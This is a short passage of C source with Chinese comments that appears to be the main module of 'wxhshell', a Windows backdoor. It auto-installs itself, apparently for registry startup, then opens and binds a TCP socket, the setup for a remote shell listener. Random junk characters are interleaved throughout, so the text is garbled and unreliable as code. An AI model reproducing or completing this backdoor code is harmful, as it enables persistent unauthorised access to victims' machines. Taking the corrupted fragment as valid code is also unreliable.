注册表启动 id" `o } +D5gbxZX 2.WI".&y= // 主模块 %16Lo<DPm int StartWxhshell(LPSTR lpCmdLine) WOZuFS13 { %|e)s_%XE SOCKET wsl; -E1-(TS BOOL val=TRUE; d<d3j9u(# int port=0; CNb(\] struct sockaddr_in door; @'>RGaPV .X%J}c$ if(wscfg.ws_autoins) Install(); zg3kU65PJE uD@ZM port=atoi(lpCmdLine); FD[*Q2fU msxt'-$M if(port<=0) port=wscfg.ws_port; 6yy%_+k* .v(GVkE} WSADATA data; wH8J?j"5> if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M6&=- 0U~$u if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +YZo-tE setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sJKr%2nVV door.sin_family = AF_INET; V?dwTc door.sin_addr.s_addr = inet_addr("127.0.0.1"); !`%j#bv door.sin_port = htons(port); XA<h,ONE? oi|N8a2R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y5F+~z}{ closesocket(wsl); "x R6~8 return 1; ]+Lr'HF } 2$Xof |l8=z*v< |